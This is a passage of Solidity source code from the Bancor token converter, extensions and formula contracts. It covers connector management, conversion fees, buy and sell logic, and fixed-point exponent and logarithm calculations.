require(_path.length > 2 && _path.length <= (1 + 2 * 10) && _path.length % 2 == 1);
_;
}
// allows execution only when conversions aren't disabled
modifier conversionsAllowed {
assert(conversionsEnabled);
_;
}
// allows execution only for owner or manager
modifier ownerOrManagerOnly {
require(msg.sender == owner || msg.sender == manager);
_;
}
/**
@dev returns the number of connector tokens defined
@return number of connector tokens
*/
function connectorTokenCount() public view returns (uint16) {
return uint16(connectorTokens.length);
}
/**
@dev returns the number of convertible tokens supported by the contract
note that the number of convertible tokens is the number of connector token, plus 1 (that represents the smart token)
@return number of convertible tokens
*/
function convertibleTokenCount() public view returns (uint16) {
return connectorTokenCount() + 1;
}
/**
@dev given a convertible token index, returns its contract address
@param _tokenIndex convertible token index
@return convertible token address
*/
function convertibleToken(uint16 _tokenIndex) public view returns (address) {
if (_tokenIndex == 0)
return token;
return connectorTokens[_tokenIndex - 1];
}
/*
@dev allows the owner to update the extensions contract address
@param _extensions address of a bancor converter extensions contract
*/
function setExtensions(IBancorConverterExtensions _extensions)
public
ownerOnly
validAddress(_extensions)
notThis(_extensions)
{
extensions = _extensions;
}
/*
@dev allows the manager to update the quick buy path
@param _path new quick buy path, see conversion path format in the BancorQuickConverter contract
*/
function setQuickBuyPath(IERC20Token[] _path)
public
ownerOnly
validConversionPath(_path)
{
quickBuyPath = _path;
}
/*
@dev allows the manager to clear the quick buy path
*/
function clearQuickBuyPath() public ownerOnly {
quickBuyPath.length = 0;
}
/**
@dev returns the length of the quick buy path array
@return quick buy path length
*/
function getQuickBuyPathLength() public view returns (uint256) {
return quickBuyPath.length;
}
/**
@dev disables the entire conversion functionality
this is a safety mechanism in case of a emergency
can only be called by the manager
@param _disable true to disable conversions, false to re-enable them
*/
function disableConversions(bool _disable) public ownerOrManagerOnly {
conversionsEnabled = !_disable;
}
/**
@dev updates the current conversion fee
can only be called by the manager
@param _conversionFee new conversion fee, represented in ppm
*/
function setConversionFee(uint32 _conversionFee)
public
ownerOrManagerOnly
validConversionFee(_conversionFee)
{
ConversionFeeUpdate(conversionFee, _conversionFee);
conversionFee = _conversionFee;
}
/*
@dev returns the conversion fee amount for a given return amount
@return conversion fee amount
*/
function getConversionFeeAmount(uint256 _amount) public view returns (uint256) {
return safeMul(_amount, conversionFee) / MAX_CONVERSION_FEE;
}
/**
@dev defines a new connector for the token
can only be called by the owner while the converter is inactive
@param _token address of the connector token
@param _weight constant connector weight, represented in ppm, 1-1000000
@param _enableVirtualBalance true to enable virtual balance for the connector, false to disable it
*/
function addConnector(IERC20Token _token, uint32 _weight, bool _enableVirtualBalance)
public
ownerOnly
inactive
validAddress(_token)
notThis(_token)
validConnectorWeight(_weight)
{
require(_token != token && !connectors[_token].isSet && totalConnectorWeight + _weight <= MAX_WEIGHT); // validate input
connectors[_token].virtualBalance = 0;
connectors[_token].weight = _weight;
connectors[_token].isVirtualBalanceEnabled = _enableVirtualBalance;
connectors[_token].isPurchaseEnabled = true;
connectors[_token].isSet = true;
connectorTokens.push(_token);
totalConnectorWeight += _weight;
}
/**
@dev updates one of the token connectors
can only be called by the owner
@param _connectorToken address of the connector token
@param _weight constant connector weight, represented in ppm, 1-1000000
@param _enableVirtualBalance true to enable virtual balance for the connector, false to disable it
@param _virtualBalance new connector's virtual balance
*/
function updateConnector(IERC20Token _connectorToken, uint32 _weight, bool _enableVirtualBalance, uint256 _virtualBalance)
public
ownerOnly
validConnector(_connectorToken)
validConnectorWeight(_weight)
{
Connector storage connector = connectors[_connectorToken];
require(totalConnectorWeight - connector.weight + _weight <= MAX_WEIGHT); // validate input
totalConnectorWeight = totalConnectorWeight - connector.weight + _weight;
connector.weight = _weight;
connector.isVirtualBalanceEnabled = _enableVirtualBalance;
connector.virtualBalance = _virtualBalance;
}
/**
@dev disables purchasing with the given connector token in case the connector token got compromised
can only be called by the owner
note that selling is still enabled regardless of this flag and it cannot be disabled by the owner
@param _connectorToken connector token contract address
@param _disable true to disable the token, false to re-enable it
*/
function disableConnectorPurchases(IERC20Token _connectorToken, bool _disable)
public
ownerOnly
validConnector(_connectorToken)
{
connectors[_connectorToken].isPurchaseEnabled = !_disable;
}
/**
@dev returns the connector's virtual balance if one is defined, otherwise returns the actual balance
@param _connectorToken connector token contract address
@return connector balance
*/
function getConnectorBalance(IERC20Token _connectorToken)
public
view
validConnector(_connectorToken)
returns (uint256)
{
Connector storage connector = connectors[_connectorToken];
return connector.isVirtualBalanceEnabled ? connector.virtualBalance : _connectorToken.balanceOf(this);
}
/**
@dev returns the expected return for converting a specific amount of _fromToken to _toToken
@param _fromToken ERC20 token to convert from
@param _toToken ERC20 token to convert to
@param _amount amount to convert, in fromToken
@return expected conversion return amount
*/
function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public view returns (uint256) {
require(_fromToken != _toToken); // validate input
// conversion between the token and one of its connectors
if (_toToken == token)
return getPurchaseReturn(_fromToken, _amount);
else if (_fromToken == token)
return getSaleReturn(_toToken, _amount);
// conversion between 2 connectors
uint256 purchaseReturnAmount = getPurchaseReturn(_fromToken, _amount);
return getSaleReturn(_toToken, purchaseReturnAmount, safeAdd(token.totalSupply(), purchaseReturnAmount));
}
/**
@dev returns the expected return for buying the token for a connector token
@param _connectorToken connector token contract address
@param _depositAmount amount to deposit (in the connector token)
@return expected purchase return amount
*/
function getPurchaseReturn(IERC20Token _connectorToken, uint256 _depositAmount)
public
view
active
validConnector(_connectorToken)
returns (uint256)
{
Connector storage connector = connectors[_connectorToken];
require(connector.isPurchaseEnabled); // validate input
uint256 tokenSupply = token.totalSupply();
uint256 connectorBalance = getConnectorBalance(_connectorToken);
uint256 amount = extensions.formula().calculatePurchaseReturn(tokenSupply, connectorBalance, connector.weight, _depositAmount);
// deduct the fee from the return amount
uint256 feeAmount = getConversionFeeAmount(amount);
return safeSub(amount, feeAmount);
}
/**
@dev returns the expected return for selling the token for one of its connector tokens
@param _connectorToken connector token contract address
@param _sellAmount amount to sell (in the smart token)
@return expected sale return amount
*/
function getSaleReturn(IERC20Token _connectorToken, uint256 _sellAmount) public view returns (uint256) {
return getSaleReturn(_connectorToken, _sellAmount, token.totalSupply());
}
/**
@dev converts a specific amount of _fromToken to _toToken
@param _fromToken ERC20 token to convert from
@param _toToken ERC20 token to convert to
@param _amount amount to convert, in fromToken
@param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero
@return conversion return amount
*/
function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256) {
require(_fromToken != _toToken); // validate input
// conversion between the token and one of its connectors
if (_toToken == token)
return buy(_fromToken, _amount, _minReturn);
else if (_fromToken == token)
return sell(_toToken, _amount, _minReturn);
// conversion between 2 connectors
uint256 purchaseAmount = buy(_fromToken, _amount, 1);
return sell(_toToken, purchaseAmount, _minReturn);
}
/**
@dev buys the token by depositing one of its connector tokens
@param _connectorToken connector token contract address
@param _depositAmount amount to deposit (in the connector token)
@param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero
@return buy return amount
*/
function buy(IERC20Token _connectorToken, uint256 _depositAmount, uint256 _minReturn)
public
conversionsAllowed
validGasPrice
greaterThanZero(_minReturn)
returns (uint256)
{
uint256 amount = getPurchaseReturn(_connectorToken, _depositAmount);
require(amount != 0 && amount >= _minReturn); // ensure the trade gives something in return and meets the minimum requested amount
// update virtual balance if relevant
Connector storage connector = connectors[_connectorToken];
if (connector.isVirtualBalanceEnabled)
connector.virtualBalance = safeAdd(connector.virtualBalance, _depositAmount);
// transfer _depositAmount funds from the caller in the connector token
assert(_connectorToken.transferFrom(msg.sender, this, _depositAmount));
// issue new funds to the caller in the smart token
token.issue(msg.sender, amount);
dispatchConversionEvent(_connectorToken, _depositAmount, amount, true);
return amount;
}
/**
@dev sells the token by withdrawing from one of its connector tokens
@param _connectorToken connector token contract address
@param _sellAmount amount to sell (in the smart token)
@param _minReturn if the conversion results in an amount smaller the minimum return - it is cancelled, must be nonzero
@return sell return amount
*/
function sell(IERC20Token _connectorToken, uint256 _sellAmount, uint256 _minReturn)
public
conversionsAllowed
validGasPrice
greaterThanZero(_minReturn)
returns (uint256)
{
require(_sellAmount <= token.balanceOf(msg.sender)); // validate input
uint256 amount = getSaleReturn(_connectorToken, _sellAmount);
require(amount != 0 && amount >= _minReturn); // ensure the trade gives something in return and meets the minimum requested amount
uint256 tokenSupply = token.totalSupply();
uint256 connectorBalance = getConnectorBalance(_connectorToken);
// ensure that the trade will only deplete the connector if the total supply is depleted as well
assert(amount < connectorBalance || (amount == connectorBalance && _sellAmount == tokenSupply));
// update virtual balance if relevant
Connector storage connector = connectors[_connectorToken];
if (connector.isVirtualBalanceEnabled)
connector.virtualBalance = safeSub(connector.virtualBalance, amount);
// destroy _sellAmount from the caller's balance in the smart token
token.destroy(msg.sender, _sellAmount);
// transfer funds to the caller in the connector token
// the transfer might fail if the actual connector balance is smaller than the virtual balance
assert(_connectorToken.transfer(msg.sender, amount));
dispatchConversionEvent(_connectorToken, _sellAmount, amount, false);
return amount;
}
/**
@dev converts the token to any other token in the bancor network by following a predefined conversion path
note that when converting from an ERC20 token (as opposed to a smart token), allowance must be set beforehand
@param _path conversion path, see conversion path format in the BancorQuickConverter contract
@param _amount amount to convert from (in the initial source token)
@param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero
@return tokens issued in return
*/
function quickConvert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn)
public
payable
validConversionPath(_path)
returns (uint256)
{
IERC20Token fromToken = _path[0];
IBancorQuickConverter quickConverter = extensions.quickConverter();
// we need to transfer the source tokens from the caller to the quick converter,
// so it can execute the conversion on behalf of the caller
if (msg.value == 0) {
// not ETH, send the source tokens to the quick converter
// if the token is the smart token, no allowance is required - destroy the tokens from the caller and issue them to the quick converter
if (fromToken == token) {
token.destroy(msg.sender, _amount); // destroy _amount tokens from the caller's balance in the smart token
token.issue(quickConverter, _amount); // issue _amount new tokens to the quick converter
}
else {
// otherwise, we assume we already have allowance, transfer the tokens directly to the quick converter
assert(fromToken.transferFrom(msg.sender, quickConverter, _amount));
}
}
// execute the conversion and pass on the ETH with the call
return quickConverter.convertFor.value(msg.value)(_path, _amount, _minReturn, msg.sender);
}
// deprecated, backward compatibility
function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256) {
return convert(_fromToken, _toToken, _amount, _minReturn);
}
/**
@dev utility, returns the expected return for selling the token for one of its connector tokens, given a total supply override
@param _connectorToken connector token contract address
@param _sellAmount amount to sell (in the smart token)
@param _totalSupply total token supply, overrides the actual token total supply when calculating the return
@return sale return amount
*/
function getSaleReturn(IERC20Token _connectorToken, uint256 _sellAmount, uint256 _totalSupply)
private
view
active
validConnector(_connectorToken)
greaterThanZero(_totalSupply)
returns (uint256)
{
Connector storage connector = connectors[_connectorToken];
uint256 connectorBalance = getConnectorBalance(_connectorToken);
uint256 amount = extensions.formula().calculateSaleReturn(_totalSupply, connectorBalance, connector.weight, _sellAmount);
// deduct the fee from the return amount
uint256 feeAmount = getConversionFeeAmount(amount);
return safeSub(amount, feeAmount);
}
/**
@dev helper, dispatches the Conversion event
The function also takes the tokens' decimals into account when calculating the current price
@param _connectorToken connector token contract address
@param _amount amount purchased/sold (in the source token)
@param _returnAmount amount returned (in the target token)
@param isPurchase true if it's a purchase, false if it's a sale
*/
function dispatchConversionEvent(IERC20Token _connectorToken, uint256 _amount, uint256 _returnAmount, bool isPurchase) private {
Connector storage connector = connectors[_connectorToken];
// calculate the new price using the simple price formula
// price = connector balance / (supply * weight)
// weight is represented in ppm, so multiplying by 1000000
uint256 connectorAmount = safeMul(getConnectorBalance(_connectorToken), MAX_WEIGHT);
uint256 tokenAmount = safeMul(token.totalSupply(), connector.weight);
// normalize values
uint8 tokenDecimals = token.decimals();
uint8 connectorTokenDecimals = _connectorToken.decimals();
if (tokenDecimals != connectorTokenDecimals) {
if (tokenDecimals > connectorTokenDecimals)
connectorAmount = safeMul(connectorAmount, 10 ** uint256(tokenDecimals - connectorTokenDecimals));
else
tokenAmount = safeMul(tokenAmount, 10 ** uint256(connectorTokenDecimals - tokenDecimals));
}
uint256 feeAmount = getConversionFeeAmount(_returnAmount);
// ensure that the fee is capped at 255 bits to prevent overflow when converting it to a signed int
assert(feeAmount <= 2 ** 255);
if (isPurchase)
Conversion(_connectorToken, token, msg.sender, _amount, _returnAmount, int256(feeAmount), connectorAmount, tokenAmount);
else
Conversion(token, _connectorToken, msg.sender, _amount, _returnAmount, int256(feeAmount), tokenAmount, connectorAmount);
}
/**
@dev fallback, buys the smart token with ETH
note that the purchase will use the price at the time of the purchase
*/
function() payable public {
quickConvert(quickBuyPath, msg.value, 1);
}
}
contract BancorConverterExtensions is IBancorConverterExtensions, TokenHolder {
IBancorFormula public formula; // bancor calculation formula contract
IBancorGasPriceLimit public gasPriceLimit; // bancor universal gas price limit contract
IBancorQuickConverter public quickConverter; // bancor quick converter contract
/**
@dev constructor
@param _formula address of a bancor formula contract
@param _gasPriceLimit address of a bancor gas price limit contract
@param _quickConverter address of a bancor quick converter contract
*/
function BancorConverterExtensions(IBancorFormula _formula, IBancorGasPriceLimit _gasPriceLimit, IBancorQuickConverter _quickConverter)
public
validAddress(_formula)
validAddress(_gasPriceLimit)
validAddress(_quickConverter)
{
formula = _formula;
gasPriceLimit = _gasPriceLimit;
quickConverter = _quickConverter;
}
/*
@dev allows the owner to update the formula contract address
@param _formula address of a bancor formula contract
*/
function setFormula(IBancorFormula _formula)
public
ownerOnly
validAddress(_formula)
notThis(_formula)
{
formula = _formula;
}
/*
@dev allows the owner to update the gas price limit contract address
@param _gasPriceLimit address of a bancor gas price limit contract
*/
function setGasPriceLimit(IBancorGasPriceLimit _gasPriceLimit)
public
ownerOnly
validAddress(_gasPriceLimit)
notThis(_gasPriceLimit)
{
gasPriceLimit = _gasPriceLimit;
}
/*
@dev allows the owner to update the quick converter contract address
@param _quickConverter address of a bancor quick converter contract
*/
function setQuickConverter(IBancorQuickConverter _quickConverter)
public
ownerOnly
validAddress(_quickConverter)
notThis(_quickConverter)
{
quickConverter = _quickConverter;
}
}
contract BancorFormula is IBancorFormula, Utils {
string public version = '0.3';
uint256 private constant ONE = 1;
uint32 private constant MAX_WEIGHT = 1000000;
uint8 private constant MIN_PRECISION = 32;
uint8 private constant MAX_PRECISION = 127;
/**
The values below depend on MAX_PRECISION. If you choose to change it:
Apply the same change in file 'PrintIntScalingFactors.py', run it and paste the results below.
*/
uint256 private constant FIXED_1 = 0x080000000000000000000000000000000;
uint256 private constant FIXED_2 = 0x100000000000000000000000000000000;
uint256 private constant MAX_NUM = 0x1ffffffffffffffffffffffffffffffff;
/**
The values below depend on MAX_PRECISION. If you choose to change it:
Apply the same change in file 'PrintLn2ScalingFactors.py', run it and paste the results below.
*/
uint256 private constant LN2_NUMERATOR = 0x3f80fe03f80fe03f80fe03f80fe03f8;
uint256 private constant LN2_DENOMINATOR = 0x5b9de1d10bf4103d647b0955897ba80;
/**
The values below depend on MIN_PRECISION and MAX_PRECISION. If you choose to change either one of them:
Apply the same change in file 'PrintFunctionBancorFormula.py', run it and paste the results below.
*/
uint256[128] private maxExpArray;
function BancorFormula() public {
// maxExpArray[ 0] = 0x6bffffffffffffffffffffffffffffffff;
// maxExpArray[ 1] = 0x67ffffffffffffffffffffffffffffffff;
// maxExpArray[ 2] = 0x637fffffffffffffffffffffffffffffff;
// maxExpArray[ 3] = 0x5f6fffffffffffffffffffffffffffffff;
// maxExpArray[ 4] = 0x5b77ffffffffffffffffffffffffffffff;
// maxExpArray[ 5] = 0x57b3ffffffffffffffffffffffffffffff;
// maxExpArray[ 6] = 0x5419ffffffffffffffffffffffffffffff;
// maxExpArray[ 7] = 0x50a2ffffffffffffffffffffffffffffff;
// maxExpArray[ 8] = 0x4d517fffffffffffffffffffffffffffff;
// maxExpArray[ 9] = 0x4a233fffffffffffffffffffffffffffff;
// maxExpArray[ 10] = 0x47165fffffffffffffffffffffffffffff;
// maxExpArray[ 11] = 0x4429afffffffffffffffffffffffffffff;
// maxExpArray[ 12] = 0x415bc7ffffffffffffffffffffffffffff;
// maxExpArray[ 13] = 0x3eab73ffffffffffffffffffffffffffff;
// maxExpArray[ 14] = 0x3c1771ffffffffffffffffffffffffffff;
// maxExpArray[ 15] = 0x399e96ffffffffffffffffffffffffffff;
// maxExpArray[ 16] = 0x373fc47fffffffffffffffffffffffffff;
// maxExpArray[ 17] = 0x34f9e8ffffffffffffffffffffffffffff;
// maxExpArray[ 18] = 0x32cbfd5fffffffffffffffffffffffffff;
// maxExpArray[ 19] = 0x30b5057fffffffffffffffffffffffffff;
// maxExpArray[ 20] = 0x2eb40f9fffffffffffffffffffffffffff;
// maxExpArray[ 21] = 0x2cc8340fffffffffffffffffffffffffff;
// maxExpArray[ 22] = 0x2af09481ffffffffffffffffffffffffff;
// maxExpArray[ 23] = 0x292c5bddffffffffffffffffffffffffff;
// maxExpArray[ 24] = 0x277abdcdffffffffffffffffffffffffff;
// maxExpArray[ 25] = 0x25daf6657fffffffffffffffffffffffff;
// maxExpArray[ 26] = 0x244c49c65fffffffffffffffffffffffff;
// maxExpArray[ 27] = 0x22ce03cd5fffffffffffffffffffffffff;
// maxExpArray[ 28] = 0x215f77c047ffffffffffffffffffffffff;
// maxExpArray[ 29] = 0x1fffffffffffffffffffffffffffffffff;
// maxExpArray[ 30] = 0x1eaefdbdabffffffffffffffffffffffff;
// maxExpArray[ 31] = 0x1d6bd8b2ebffffffffffffffffffffffff;
maxExpArray[ 32] = 0x1c35fedd14ffffffffffffffffffffffff;
maxExpArray[ 33] = 0x1b0ce43b323fffffffffffffffffffffff;
maxExpArray[ 34] = 0x19f0028ec1ffffffffffffffffffffffff;
maxExpArray[ 35] = 0x18ded91f0e7fffffffffffffffffffffff;
maxExpArray[ 36] = 0x17d8ec7f0417ffffffffffffffffffffff;
maxExpArray[ 37] = 0x16ddc6556cdbffffffffffffffffffffff;
maxExpArray[ 38] = 0x15ecf52776a1ffffffffffffffffffffff;
maxExpArray[ 39] = 0x15060c256cb2ffffffffffffffffffffff;
maxExpArray[ 40] = 0x1428a2f98d72ffffffffffffffffffffff;
maxExpArray[ 41] = 0x13545598e5c23fffffffffffffffffffff;
maxExpArray[ 42] = 0x1288c4161ce1dfffffffffffffffffffff;
maxExpArray[ 43] = 0x11c592761c666fffffffffffffffffffff;
maxExpArray[ 44] = 0x110a688680a757ffffffffffffffffffff;
maxExpArray[ 45] = 0x1056f1b5bedf77ffffffffffffffffffff;
maxExpArray[ 46] = 0x0faadceceeff8bffffffffffffffffffff;
maxExpArray[ 47] = 0x0f05dc6b27edadffffffffffffffffffff;
maxExpArray[ 48] = 0x0e67a5a25da4107fffffffffffffffffff;
maxExpArray[ 49] = 0x0dcff115b14eedffffffffffffffffffff;
maxExpArray[ 50] = 0x0d3e7a392431239fffffffffffffffffff;
maxExpArray[ 51] = 0x0cb2ff529eb71e4fffffffffffffffffff;
maxExpArray[ 52] = 0x0c2d415c3db974afffffffffffffffffff;
maxExpArray[ 53] = 0x0bad03e7d883f69bffffffffffffffffff;
maxExpArray[ 54] = 0x0b320d03b2c343d5ffffffffffffffffff;
maxExpArray[ 55] = 0x0abc25204e02828dffffffffffffffffff;
maxExpArray[ 56] = 0x0a4b16f74ee4bb207fffffffffffffffff;
maxExpArray[ 57] = 0x09deaf736ac1f569ffffffffffffffffff;
maxExpArray[ 58] = 0x0976bd9952c7aa957fffffffffffffffff;
maxExpArray[ 59] = 0x09131271922eaa606fffffffffffffffff;
maxExpArray[ 60] = 0x08b380f3558668c46fffffffffffffffff;
maxExpArray[ 61] = 0x0857ddf0117efa215bffffffffffffffff;
maxExpArray[ 62] = 0x07ffffffffffffffffffffffffffffffff;
maxExpArray[ 63] = 0x07abbf6f6abb9d087fffffffffffffffff;
maxExpArray[ 64] = 0x075af62cbac95f7dfa7fffffffffffffff;
maxExpArray[ 65] = 0x070d7fb7452e187ac13fffffffffffffff;
maxExpArray[ 66] = 0x06c3390ecc8af379295fffffffffffffff;
maxExpArray[ 67] = 0x067c00a3b07ffc01fd6fffffffffffffff;
maxExpArray[ 68] = 0x0637b647c39cbb9d3d27ffffffffffffff;
maxExpArray[ 69] = 0x05f63b1fc104dbd39587ffffffffffffff;
maxExpArray[ 70] = 0x05b771955b36e12f7235ffffffffffffff;
maxExpArray[ 71] = 0x057b3d49dda84556d6f6ffffffffffffff;
maxExpArray[ 72] = 0x054183095b2c8ececf30ffffffffffffff;
maxExpArray[ 73] = 0x050a28be635ca2b888f77fffffffffffff;
maxExpArray[ 74] = 0x04d5156639708c9db33c3fffffffffffff;
maxExpArray[ 75] = 0x04a23105873875bd52dfdfffffffffffff;
maxExpArray[ 76] = 0x0471649d87199aa990756fffffffffffff;
maxExpArray[ 77] = 0x04429a21a029d4c1457cfbffffffffffff;
maxExpArray[ 78] = 0x0415bc6d6fb7dd71af2cb3ffffffffffff;
maxExpArray[ 79] = 0x03eab73b3bbfe282243ce1ffffffffffff;
maxExpArray[ 80] = 0x03c1771ac9fb6b4c18e229ffffffffffff;
maxExpArray[ 81] = 0x0399e96897690418f785257fffffffffff;
maxExpArray[ 82] = 0x0373fc456c53bb779bf0ea9fffffffffff;
maxExpArray[ 83] = 0x034f9e8e490c48e67e6ab8bfffffffffff;
maxExpArray[ 84] = 0x032cbfd4a7adc790560b3337ffffffffff;
maxExpArray[ 85] = 0x030b50570f6e5d2acca94613ffffffffff;
maxExpArray[ 86] = 0x02eb40f9f620fda6b56c2861ffffffffff;
maxExpArray[ 87] = 0x02cc8340ecb0d0f520a6af58ffffffffff;
maxExpArray[ 88] = 0x02af09481380a0a35cf1ba02ffffffffff;
maxExpArray[ 89] = 0x0292c5bdd3b92ec810287b1b3fffffffff;
maxExpArray[ 90] = 0x0277abdcdab07d5a77ac6d6b9fffffffff;
maxExpArray[ 91] = 0x025daf6654b1eaa55fd64df5efffffffff;
maxExpArray[ 92] = 0x0244c49c648baa98192dce88b7ffffffff;
maxExpArray[ 93] = 0x022ce03cd5619a311b2471268bffffffff;
maxExpArray[ 94] = 0x0215f77c045fbe885654a44a0fffffffff;
maxExpArray[ 95] = 0x01ffffffffffffffffffffffffffffffff;
maxExpArray[ 96] = 0x01eaefdbdaaee7421fc4d3ede5ffffffff;
maxExpArray[ 97] = 0x01d6bd8b2eb257df7e8ca57b09bfffffff;
maxExpArray[ 98] = 0x01c35fedd14b861eb0443f7f133fffffff;
maxExpArray[ 99] = 0x01b0ce43b322bcde4a56e8ada5afffffff;
maxExpArray[100] = 0x019f0028ec1fff007f5a195a39dfffffff;
maxExpArray[101] = 0x018ded91f0e72ee74f49b15ba527ffffff;
maxExpArray[102] = 0x017d8ec7f04136f4e5615fd41a63ffffff;
maxExpArray[103] = 0x016ddc6556cdb84bdc8d12d22e6fffffff;
maxExpArray[104] = 0x015ecf52776a1155b5bd8395814f7fffff;
maxExpArray[105] = 0x015060c256cb23b3b3cc3754cf40ffffff;
maxExpArray[106] = 0x01428a2f98d728ae223ddab715be3fffff;
maxExpArray[107] = 0x013545598e5c23276ccf0ede68034fffff;
maxExpArray[108] = 0x01288c4161ce1d6f54b7f61081194fffff;
maxExpArray[109] = 0x011c592761c666aa641d5a01a40f17ffff;
maxExpArray[110] = 0x0110a688680a7530515f3e6e6cfdcdffff;
maxExpArray[111] = 0x01056f1b5bedf75c6bcb2ce8aed428ffff;
maxExpArray[112] = 0x00faadceceeff8a0890f3875f008277fff;
maxExpArray[113] = 0x00f05dc6b27edad306388a600f6ba0bfff;
maxExpArray[114] = 0x00e67a5a25da41063de1495d5b18cdbfff;
maxExpArray[115] = 0x00dcff115b14eedde6fc3aa5353f2e4fff;
maxExpArray[116] = 0x00d3e7a3924312399f9aae2e0f868f8fff;
maxExpArray[117] = 0x00cb2ff529eb71e41582cccd5a1ee26fff;
maxExpArray[118] = 0x00c2d415c3db974ab32a51840c0b67edff;
maxExpArray[119] = 0x00bad03e7d883f69ad5b0a186184e06bff;
maxExpArray[120] = 0x00b320d03b2c343d4829abd6075f0cc5ff;
maxExpArray[121] = 0x00abc25204e02828d73c6e80bcdb1a95bf;
maxExpArray[122] = 0x00a4b16f74ee4bb2040a1ec6c15fbbf2df;
maxExpArray[123] = 0x009deaf736ac1f569deb1b5ae3f36c130f;
maxExpArray[124] = 0x00976bd9952c7aa957f5937d790ef65037;
maxExpArray[125] = 0x009131271922eaa6064b73a22d0bd4f2bf;
maxExpArray[126] = 0x008b380f3558668c46c91c49a2f8e967b9;
maxExpArray[127] = 0x00857ddf0117efa215952912839f6473e6;
}
/**
@dev given a token supply, connector balance, weight and a deposit amount (in the connector token),
calculates the return for a given conversion (in the main token)
Formula:
Return = _supply * ((1 + _depositAmount / _connectorBalance) ^ (_connectorWeight / 1000000) - 1)
@param _supply token total supply
@param _connectorBalance total connector balance
@param _connectorWeight connector weight, represented in ppm, 1-1000000
@param _depositAmount deposit amount, in connector token
@return purchase return amount
*/
function calculatePurchaseReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _depositAmount) public view returns (uint256) {
// validate input
require(_supply > 0 && _connectorBalance > 0 && _connectorWeight > 0 && _connectorWeight <= MAX_WEIGHT);
// special case for 0 deposit amount
if (_depositAmount == 0)
return 0;
// special case if the weight = 100%
if (_connectorWeight == MAX_WEIGHT)
return safeMul(_supply, _depositAmount) / _connectorBalance;
uint256 result;
uint8 precision;
uint256 baseN = safeAdd(_depositAmount, _connectorBalance);
(result, precision) = power(baseN, _connectorBalance, _connectorWeight, MAX_WEIGHT);
uint256 temp = safeMul(_supply, result) >> precision;
return temp - _supply;
}
/**
@dev given a token supply, connector balance, weight and a sell amount (in the main token),
calculates the return for a given conversion (in the connector token)
Formula:
Return = _connectorBalance * (1 - (1 - _sellAmount / _supply) ^ (1 / (_connectorWeight / 1000000)))
@param _supply token total supply
@param _connectorBalance total connector
@param _connectorWeight constant connector Weight, represented in ppm, 1-1000000
@param _sellAmount sell amount, in the token itself
@return sale return amount
*/
function calculateSaleReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _sellAmount) public view returns (uint256) {
// validate input
require(_supply > 0 && _connectorBalance > 0 && _connectorWeight > 0 && _connectorWeight <= MAX_WEIGHT && _sellAmount <= _supply);
// special case for 0 sell amount
if (_sellAmount == 0)
return 0;
// special case for selling the entire supply
if (_sellAmount == _supply)
return _connectorBalance;
// special case if the weight = 100%
if (_connectorWeight == MAX_WEIGHT)
return safeMul(_connectorBalance, _sellAmount) / _supply;
uint256 result;
uint8 precision;
uint256 baseD = _supply - _sellAmount;
(result, precision) = power(_supply, baseD, MAX_WEIGHT, _connectorWeight);
uint256 temp1 = safeMul(_connectorBalance, result);
uint256 temp2 = _connectorBalance << precision;
return (temp1 - temp2) / result;
}
/**
General Description:
Determine a value of precision.
Calculate an integer approximation of (_baseN / _baseD) ^ (_expN / _expD) * 2 ^ precision.
Return the result along with the precision used.
Detailed Description:
Instead of calculating "base ^ exp", we calculate "e ^ (ln(base) * exp)".
The value of "ln(base)" is represented with an integer slightly smaller than "ln(base) * 2 ^ precision".
The larger "precision" is, the more accurately this value represents the real value.
However, the larger "precision" is, the more bits are required in order to store this value.
And the exponentiation function, which takes "x" and calculates "e ^ x", is limited to a maximum exponent (maximum value of "x").
This maximum exponent depends on the "precision" used, and it is given by "maxExpArray[precision] >> (MAX_PRECISION - precision)".
Hence we need to determine the highest precision which can be used for the given input, before calling the exponentiation function.
This allows us to compute "base ^ exp" with maximum accuracy and without exceeding 256 bits in any of the intermediate computations.
This functions assumes that "_expN < (1 << 256) / ln(MAX_NUM, 1)", otherwise the multiplication should be replaced with a "safeMul".
*/
function power(uint256 _baseN, uint256 _baseD, uint32 _expN, uint32 _expD) internal view returns (uint256, uint8) {
uint256 lnBaseTimesExp = ln(_baseN, _baseD) * _expN / _expD;
uint8 precision = findPositionInMaxExpArray(lnBaseTimesExp);
return (fixedExp(lnBaseTimesExp >> (MAX_PRECISION - precision), precision), precision);
}
/**
Return floor(ln(numerator / denominator) * 2 ^ MAX_PRECISION), where:
- The numerator is a value between 1 and 2 ^ (256 - MAX_PRECISION) - 1
- The denominator is a value between 1 and 2 ^ (256 - MAX_PRECISION) - 1
- The output is a value between 0 and floor(ln(2 ^ (256 - MAX_PRECISION) - 1) * 2 ^ MAX_PRECISION)
This functions assumes that the numerator is larger than or equal to the denominator, because the output would be negative otherwise.
*/
function ln(uint256 _numerator, uint256 _denominator) internal pure returns (uint256) {
assert(_numerator <= MAX_NUM);
uint256 res = 0;
uint256 x = _numerator * FIXED_1 / _denominator;
// If x >= 2, then we compute the integer part of log2(x), which is larger than 0.
if (x >= FIXED_2) {
uint8 count = floorLog2(x / FIXED_1);
x >>= count; // now x < 2
res = count * FIXED_1;
}
// If x > 1, then we compute the fraction part of log2(x), which is larger than 0.
if (x > FIXED_1) {
for (uint8 i = MAX_PRECISION; i > 0; --i) {
x = (x * x) / FIXED_1; // now 1 < x < 4
if (x >= FIXED_2) {
x >>= 1; // now 1 < x < 2
res += ONE << (i - 1);
}
}
}
return res * LN2_NUMERATOR / LN2_DENOMINATOR;
}
/**
Compute the largest integer smaller than or equal to the binary logarithm of the input.
*/
function floorLog2(uint256 _n) internal pure returns (uint8) {
uint8 res = 0;
if (_n < 256) {
// At most 8 iterations
while (_n > 1) {
_n >>= 1;
res += 1;
}
}
else {
// Exactly 8 iterations
for (uint8 s = 128; s > 0; s >>= 1) {
if (_n >= (ONE << s)) {
_n >>= s;
res |= s;
}
}
}
return res;
}
/**
The global "maxExpArray" is sorted in descending order, and therefore the following statements are equivalent:
